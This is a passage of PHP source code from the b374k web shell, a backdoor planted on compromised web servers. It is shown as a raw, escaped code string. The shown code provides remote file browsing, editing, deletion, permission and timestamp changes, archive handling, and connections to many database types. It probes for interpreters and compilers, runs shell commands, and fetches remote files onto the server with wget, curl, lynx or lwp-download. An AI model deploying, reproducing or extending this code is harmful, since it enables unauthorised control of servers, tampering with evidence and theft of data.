$s_i<count($s_f); $s_i++){ if(@is_dir($s_f[$s_i])){ $s_a = glob($s_f[$s_i].DS.\'*\'); if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a); } } return $s_f; } function dlfile($s_u,$s_p){ global $s_wget, $s_lwpdownload, $s_lynx, $s_curl; if(!preg_match("/[a-z]+:\\/\\/.+/",$s_u)) return false; $s_n = basename($s_u); if($s_t = @fgc($s_u)){ if(@is_file($s_p)) unlink($s_p); if($s_f = fopen($s_p,"w")){ fwrite($s_f, $s_t); fclose($s_f); if(@is_file($s_p)) return true; } } if($s_wget){ $buff = exe("wget ".$s_u." -O ".$s_p); if(@is_file($s_p)) return true; } if($s_curl){ $buff = exe("curl ".$s_u." -o ".$s_p); if(@is_file($s_p)) return true; } if($s_lynx){ $buff = exe("lynx -source ".$s_u." > ".$s_p); if(@is_file($s_p)) return true; } if($s_lwpdownload){ $buff = exe("lwp-download ".$s_u." ".$s_p); if(@is_file($s_p)) return true; } return false; } function get_writabledir(){ if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){ if(@is_writable("/tmp")) $s_d = "/tmp/"; else if(@is_writable(".")) $s_d = ".".DS; } return cp($s_d); } function zip($s_srcarr, $s_dest){ if(!extension_loaded(\'zip\')) return false; if(class_exists("ZipArchive")){ $s_zip = new ZipArchive(); if(!$s_zip->open($s_dest, 1)) return false; if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr); foreach($s_srcarr as $s_src){ $s_src = str_replace(\'\\\\\', \'/\', $s_src); if(@is_dir($s_src)){ $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); foreach($s_files as $s_file){ $s_file = str_replace(\'\\\\\', \'/\', $s_file); if(in_array(substr($s_file, strrpos($s_file, \'/\')+1), array(\'.\', \'..\'))) continue; if (@is_dir($s_file)===true)\t$s_zip->addEmptyDir(str_replace($s_src.\'/\', \'\', $s_file.\'/\')); else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.\'/\', \'\', $s_file), @fgc($s_file)); } } elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src)); } $s_zip->close(); return true; } } function check_access($s_lang){ $s_s = false; $ver = ""; switch($s_lang){ case "python": $s_cek = strtolower(exe("python -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("python -V"); break; case "perl": $s_cek = strtolower(exe("perl -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \\"print \\$]\\""); break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v"); break; case "node": $s_cek = strtolower(exe("node -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("node -v"); break; case "nodejs": $s_cek = strtolower(exe("nodejs -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v"); break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("gcc --version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "tar": $s_cek = strtolower(exe("tar --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("tar --version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "java": $s_cek = strtolower(exe("java -help")); if(strpos($s_cek,"usage")!==false) $ver = str_replace("\\n", ", ", exe("java -version")); break; case "javac": $s_cek = strtolower(exe("javac -help")); if(strpos($s_cek,"usage")!==false) $ver = str_replace("\\n", ", ", exe("javac -version")); break; case "wget": $s_cek = strtolower(exe("wget --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("wget --version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lwpdownload": $s_cek = strtolower(exe("lwp-download --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lwp-download --version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lynx": $s_cek = strtolower(exe("lynx --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lynx -version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "curl": $s_cek = strtolower(exe("curl --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("curl --version"); $s_ver = explode("\\n",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; default: return false; } if(!empty($ver)) $s_s = $ver; return $s_s; } function showdir($s_cwd){ global $s_self, $s_win, $s_posix, $s_tar; $s_fname = $s_dname = array(); $s_total_file = $s_total_dir = 0; if($s_dh = @opendir($s_cwd)){ while($s_file = @readdir($s_dh)){ if(@is_dir($s_file)) $s_dname[] = $s_file; elseif(@is_file($s_file))$s_fname[] = $s_file; } closedir($s_dh); } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname,$s_fname); if($s_win){ chdir(".."); if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, "."); chdir($s_cwd); } $s_path = explode(DS,$s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS; else $s_parent = $s_cwd; $s_owner_html = (!$s_win && $s_posix)? "<th style=\'width:140px;min-width:140px;\'>owner:group</th>":""; $s_colspan = (!$s_win && $s_posix)? "5" : "4"; $s_buff = "<table class=\'explore sortable\'><thead><tr><th style=\'width:24px;min-width:24px;\' class=\'sorttable_nosort\'></th><th style=\'min-width:150px;\'>name</th><th style=\'width:74px;min-width:74px;\'>size</th>".$s_owner_html."<th style=\'width:80px;min-width:80px;\'>perms</th><th style=\'width:150px;min-width:150px;\'>modified</th><th style=\'width:200px;min-width:200px;\' class=\'sorttable_nosort\'>action</th></tr></thead><tbody>"; foreach($s_list as $s_l){ if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\']; $s_owner_html = "<td style=\'text-align:center;\'>".$s_owner."</td>"; } $s_lhref = $s_lname = $s_laction = ""; if(@is_dir($s_l)){ if($s_l=="."){ $s_lhref = $s_self."cd=".pl($s_cwd); $s_lsize = "LINK"; $s_laction = "<span id=\'titik1\'><a href=\'".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&x=upload"."\'>upl</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."\'>+file</a> | <a href=\\"javascript:tukar(\'titik1\',\'\', \'mkdir\',\'newfolder_1\');\\">+dir</a></span><div id=\'titik1_form\'></div>"; } elseif($s_l==".."){ $s_lhref = $s_self."cd=".pl($s_parent); $s_lsize = "LINK"; $s_laction = "<span id=\'titik2\'><a href=\'".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_parent)."&x=upload"."\'>upl</a> | <a href=\'".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."\'>+file</a> | <a href=\\"javascript:tukar(\'titik2\',\'".adds($s_parent)."\', \'mkdir\',\'newfolder_1\');\\">+dir</a></span><div id=\'titik2_form\'></div>"; } else{ $s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS); $s_lsize = "DIR"; $s_laction = "<span id=\'".cs($s_l)."_\'><a href=\'".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."\'>upl</a> | <a href=\\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".adds($s_l)."\',\'".adds($s_l)."\');\\">ren</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."\'>del</a></span><div id=\'".cs($s_l)."__form\'></div>"; $s_total_dir++; } $s_lname = "[ ".$s_l." ]"; $s_lsizetit = "0"; $s_lnametit = "dir : ".$s_l; } else{ $s_lhref = $s_self."view=".pl($s_cwd.$s_l); $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : ".$s_l; $s_laction = "<span id=\'".cs($s_l)."_\'><a href=\'".$s_self."edit=".pl($s_cwd.$s_l)."\'>edit</a> | <a href=\'".$s_self."hexedit=".pl($s_cwd.$s_l)."\'>hex</a> | <a href=\\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".adds($s_l)."\',\'".adds($s_l)."\');\\">ren</a> | <a href=\'".$s_self."del=".pl($s_cwd.$s_l)."\'>del</a> | <a href=\'".$s_self."dl=".pl($s_cwd.$s_l)."\'>dl</a></span><div id=\'".cs($s_l)."__form\'></div>"; $s_total_file++; } $s_cboxval = $s_cwd.$s_l; if($s_l==\'.\') $s_cboxval = $s_cwd; if($s_l==\'..\') $s_cboxval = $s_parent; $s_cboxes_id = substr(md5($s_lhref),0,8); $s_cboxes = "<input id=\'".$s_cboxes_id."\' name=\'cbox\' value=\'".hss($s_cboxval)."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' /><label for=\'".$s_cboxes_id."\' class=\'css-label\'></label>"; $s_ltime = filemtime($s_l); $s_buff .= "<tr><td style=\'text-align:center;text-indent:4px;\'>".$s_cboxes."</td><td class=\'xpl\' title=\'".$s_lnametit."\' ondblclick=\\"return go(\'".adds($s_lhref)."\',event);\\"><a href=\'".$s_lhref."\'>".$s_lname."</a></td><td title=\'".$s_lsizetit."\'>".$s_lsize."</td>".$s_owner_html."<td class=\'ce\'>".gp($s_l)."</td><td class=\'ce\' title=\'".$s_ltime."\'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>"; } $s_buff .= "</tbody>"; $s_extract = ""; $s_compress = ""; if(class_exists("ZipArchive")){ $s_extract .= "<option value=\'extractzip\'>extract (zip)</option>"; $s_compress .= "<option value=\'compresszip\'>compress (zip)</option>"; } if($s_tar){ $s_extract .= "<option value=\'extracttar\'>extract (tar)</option><option value=\'extracttargz\'>extract (tar.gz)</option>"; $s_compress .="<option value=\'compresstar\'>compress (tar)</option><option value=\'compresstargz\'>compress (tar.gz)</option>"; } $s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value=\'\' disabled>-</option>".$s_compress:$s_extract.$s_compress; $s_buff .= "<tfoot><tr class=\'cbox_selected\'><td class=\'cbox_all\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /> <label for=\'checkalll\' class=\'css-label\'></label></td><td><form action=\'".$s_self."\' method=\'post\'><select id=\'massact\' class=\'inputzbut\' onchange=\'massactgo();\' style=\'width:100%;height:20px;margin:0;\'><option value=\'\' disabled selected>Action</option><option value=\'cut\'>cut</option><option value=\'copy\'>copy</option><option value=\'paste\'>paste</option><option value=\'delete\'>delete</option><option value=\'\' disabled>-</option><option value=\'chmod\'>chmod</option><option value=\'touch\'>touch</option><option value=\'\' disabled>-</option>".$s_extcom."</select><noscript><input type=\'button\' value=\'Go !\' class=\'inputzbut\' onclick=\'massactgo();\' /></noscript></form></td><td colspan=\'".$s_colspan."\' style=\'text-align:left;\'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id=\'total_selected\'></span></td></tr></tfoot></table>"; return $s_buff; } function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass); elseif(function_exists(\'mysql_connect\')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_connect\')){ $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); return @sqlsrv_connect($s_sqlhost,$s_coninfo); } elseif(function_exists(\'mssql_connect\')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == \'pgsql\'){ $s_hosts = explode(":", $s_sqlhost); if(count($s_hosts)==2){ $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; } else $s_host_str = "host=".$s_sqlhost; if(function_exists(\'pg_connect\')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); } elseif($s_sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); } elseif($s_sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); else return false; } elseif($s_sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($s_sqlhost); } elseif($s_sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass); else return false; } return false; } function sql_query($s_sqltype, $s_query, $s_con){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $s_con->query($s_query); elseif(function_exists(\'mysql_query\')) return mysql_query($s_query); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($s_con,$s_query); elseif(function_exists(\'mssql_query\')) return mssql_query($s_query); } elseif($s_sqltype == \'pgsql\') return pg_query($s_query); elseif($s_sqltype == \'oracle\') return oci_execute(oci_parse($s_con, $s_query)); elseif($s_sqltype == \'sqlite3\') return $s_con->query($s_query); elseif($s_sqltype == \'sqlite\') return sqlite_query($s_con, $s_query); elseif($s_sqltype == \'odbc\') return odbc_exec($s_con, $s_query); elseif($s_sqltype == \'pdo\') return $s_con->query($s_query); } function sql_num_rows($s_sqltype,$s_hasil){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $s_hasil->mysqli_num_rows; elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($s_hasil); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($s_hasil); elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($s_hasil); } elseif($s_sqltype == \'pgsql\') return pg_num_rows($s_hasil); elseif($s_sqltype == \'oracle\') return oci_num_rows($s_hasil); elseif($s_sqltype == \'sqlite3\'){ $s_metadata = $s_hasil->fetchArray(); if(is_array($s_metadata)) return $s_metadata[\'count\']; } elseif($s_sqltype == \'sqlite\') return sqlite_num_rows($s_hasil); elseif($s_sqltype == \'odbc\') return odbc_num_rows($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->rowCount(); } function sql_num_fields($s_sqltype, $s_hasil){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $s_hasil->field_count; elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($s_hasil); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($s_hasil); elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($s_hasil); } elseif($s_sqltype == \'pgsql\') return pg_num_fields($s_hasil); elseif($s_sqltype == \'oracle\') return oci_num_fields($s_hasil); elseif($s_sqltype == \'sqlite3\') return $s_hasil->numColumns(); elseif($s_sqltype == \'sqlite\') return sqlite_num_fields($s_hasil); elseif($s_sqltype == \'odbc\') return odbc_num_fields($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->columnCount(); } function sql_field_name($s_sqltype,$s_hasil,$s_i){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) { $z=$s_hasil->fetch_field();return $z->name;} elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($s_hasil,$s_i); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_field_metadata\')){ $s_metadata = sqlsrv_field_metadata($s_hasil); if(is_array($s_metadata)){ $s_metadata=$s_metadata[$s_i]; } if(is_array($s_metadata)) return $s_metadata[\'Name\']; } elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($s_hasil,$s_i); } elseif($s_sqltype == \'pgsql\') return pg_field_name($s_hasil,$s_i); elseif($s_sqltype == \'oracle\') return oci_field_name($s_hasil,$s_i+1); elseif($s_sqltype == \'sqlite3\') return $s_hasil->columnName($s_i); elseif($s_sqltype == \'sqlite\') return sqlite_field_name($s_hasil,$s_i); elseif($s_sqltype == \'odbc\') return odbc_field_name($s_hasil,$s_i+1); elseif($s_sqltype == \'pdo\'){ $s_res = $s_hasil->getColumnMeta($s_i); return $s_res[\'name\']; } } function sql_fetch_data($s_sqltype,$s_hasil){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $s_hasil->fetch_row(); elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($s_hasil); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($s_hasil,1); elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($s_hasil); } elseif($s_sqltype == \'pgsql\') return pg_fetch_row($s_hasil); elseif($s_sqltype == \'oracle\') return oci_fetch_row($s_hasil); elseif($s_sqltype == \'sqlite3\') return $s_hasil->fetchArray(1); elseif($s_sqltype == \'sqlite\') return sqlite_fetch_array($s_hasil,1); elseif($s_sqltype == \'odbc\') return odbc_fetch_array($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->fetch(2); } function sql_close($s_sqltype,$s_con){ if($s_sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $s_con->close(); elseif(function_exists(\'mysql_close\')) return mysql_close($s_con); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($s_con); elseif(function_exists(\'mssql_close\')) return mssql_close($s_con); } elseif($s_sqltype == \'pgsql\') return pg_close($s_con); elseif($s_sqltype == \'oracle\') return oci_close($s_con); elseif($s_sqltype == \'sqlite3\') return $s_con->close(); elseif($s_sqltype == \'sqlite\') return sqlite_close($s_con); elseif($s_sqltype == \'odbc\') return odbc_close($s_con); elseif($s_sqltype == \'pdo\') return $s_con = null; } if(!function_exists(\'str_split\')){ function str_split($s_t,$s_s=1){ $s_a = array(); for($s_i = 0; $s_i<strlen($s_t);){ $s_a[] = substr($s_t,$s_i,$s_s); $s_i += $s_s; } return $s_a; } } $s_theme = "dark"; if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\']; if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'switch\')){ if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\']; if($s_theme=="bright") $s_theme = "dark"; else $s_theme = "bright"; setcookie("theme", $s_theme ,time() + $s_login_time); } $s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000"); $s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF"); global $s_self, $s_win, $s_posix; $s_self = "?"; $s_cek1 = basename($_SERVER[\'SCRIPT_FILENAME\']); $s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1)); if(isset($_COOKIE[\'b374k_included\'])){ if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE[\'s_self\']; else{ $s_self = "?"; setcookie("b374k_included", "0" ,time() - $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } } else{ if(strcmp($s_cek1,$s_cek2)!=0){ if(!isset($_COOKIE[\'s_home\'])){ $s_home = "?".$_SERVER["QUERY_STRING"]."&"; setcookie("s_home", $s_home ,time() + $s_login_time); } if(isset($s_home)) $s_self = $s_home; elseif(isset($_COOKIE[\'s_home\'])) $s_self = $_COOKIE[\'s_home\']; setcookie("b374k_included", "1" ,time() + $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } else{ $s_self = "?"; setcookie("b374k_included", "0" ,time() - $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } } $s_cwd = ""; if(isset($_GP[\'|\'])) showcode($s_css); elseif(isset($_GP[\'!\'])) showcode($s_js); if($s_auth){ $s_software = getenv("SERVER_SOFTWARE"); $s_system = php_uname(); $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false; $s_posix = (function_exists("posix_getpwuid"))? true : false; if(isset($_GP[\'cd\'])){ $s_dd = $_GP[\'cd\']; if(@is_dir($s_dd)){ $s_cwd = cp($s_dd); chdir($s_cwd); setcookie("cwd", $s_cwd ,time() + $s_login_time); } else $s_cwd = isset($_COOKIE[\'cwd\'])? cp($_COOKIE[\'cwd\']):cp(getcwd());; } else{ if(isset($_COOKIE[\'cwd\'])){ $s_dd = ss($_COOKIE[\'cwd\']); if(@is_dir($s_dd)){ $s_cwd = cp($s_dd); chdir($s_cwd); } } else $s_cwd = cp(getcwd()); } if(!$s_win && $s_posix){ $s_userarr = posix_getpwuid(posix_geteuid()); if(isset($s_userarr[\'name\'])) $s_user = $s_userarr[\'name\']; else $s_user = "$"; } else { $s_user = get_current_user(); } $s_prompt = $s_user." &gt;"; $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); $s_my_ip = $_SERVER[\'REMOTE_ADDR\']; $s_result = ""; global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl"); foreach($s_access as $s){ if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; } else{ if(!isset($_COOKIE[\'b374k\'])){ $t = explode("_", $s); $t = check_access($t[1]); if($t!==false){ $$s = $t; setcookie($s, $$s ,time() + $s_login_time); } } } } if(isset($_GP[\'dl\']) && ($_GP[\'dl\'] != "")){ ob_end_clean(); $f = $_GP[\'dl\']; $fc = fgc($f); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($fc)); header("Content-disposition: attachment; filename=\\"".basename($f)."\\";"); echo $fc; die(); } if(isset($_GP[\'z\'])){ $s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:""; $s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):""; $s_lists = explode("|", $s_buffer); $s_counter = 0; if(!empty($s_buffer)){ if($_GP[\'z\']==\'moveok\'){ foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items moved"); else $s_result .= notif("No items moved"); } elseif($_GP[\'z\']==\'copyok\'){ foreach($s_lists as $s_l){ if(@is_dir($s_l)){ copys($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } elseif(@is_file($s_l)){ copy($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items copied"); else $s_result .= notif("No items copied"); } elseif($_GP[\'z\']==\'delok\'){ foreach($s_lists as $s_l){ if(@is_file($s_l)){ if(unlink($s_l)) $s_counter++; } elseif(@is_dir($s_l)){ rmdirs($s_l); if(!file_exists($s_l)) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items deleted"); else $s_result .= notif("No items deleted"); } elseif(isset($_GP[\'chmodok\'])){ $s_mod = octdec($_GP[\'chmodok\']); foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod)); else $s_result .= notif("No items modified"); } elseif(isset($_GP[\'touchok\'])){ $s_datenew = strtotime($_GP[\'touchok\']); foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew)); else $s_result .= notif("No items modified"); } elseif(isset($_GP[\'compresszipok\'])){ $s_file = $_GP[\'compresszipok\']; if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'compresstarok\'])){ $s_lists_ = array(); $s_file = $_GP[\'compresstarok\']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar cf \\"".$s_file."\\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'compresstargzok\'])){ $s_lists_ = array(); $s_file = $_GP[\'compresstargzok\']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar czf \\"".$s_file."\\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file)); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'extractzipok\'])){ $s_file = $_GP[\'extractzipok\']; $zip = new ZipArchive(); foreach($s_lists as $f){ $s_target = $s_file.basename($f,".zip"); if($zip->open($f)){ if(!@is_dir($s_target)) @mkdir($s_target); if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target)); else $s_result .= notif("Error extrating archive file"); $zip->close(); } else $s_result .= notif("Error opening archive file"); } } elseif(isset($_GP[\'extracttarok\'])){ $s_file = $_GP[\'extracttarok\']; foreach($s_lists as $f){ $s_target = ""; $s_target = basename($f,".tar"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xf \\"".basename($f)."\\" -C \\"".$s_target."\\""); } } elseif(isset($_GP[\'extracttargzok\'])){ $s_file = $_GP[\'extracttargzok\']; foreach($s_lists as $f){ $s_target = ""; if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz"); elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xzf \\"".basename($f)."\\" -C \\"".$s_target."\\""); } } } setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if(isset($_GP[\'y\'])){ $s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:""; $s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):""; $s_lists = explode("|", $s_buffer); if(!empty($s_buffer)){ if($_GP[\'y\']==\'delete\'){ $s_result .= notif("Delete ? <a href=\'".$s_self."z=delok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'paste\' && $s_massact==\'cut\'){ $s_result .= notif("Move here ? <a href=\'".$s_self."z=moveok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'paste\' && $s_massact==\'copy\'){ $s_result .= notif("Copy here ? <a href=\'".$s_self."z=copyok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'chmod\'){ $s_result .= notif("Permissions ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'0755\' name=\'chmodok\' style=\'width:30px;text-align:center;\' maxlength=\'4\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'touch\'){ $s_result .= notif("Touch ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".@date("d-M-Y H:i:s",time())."\' name=\'touchok\' style=\'width:130px;text-align:center;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extractzip\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extractzipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extracttar\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extracttarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extracttargz\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extracttargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresszip\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".zip\' name=\'compresszipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); 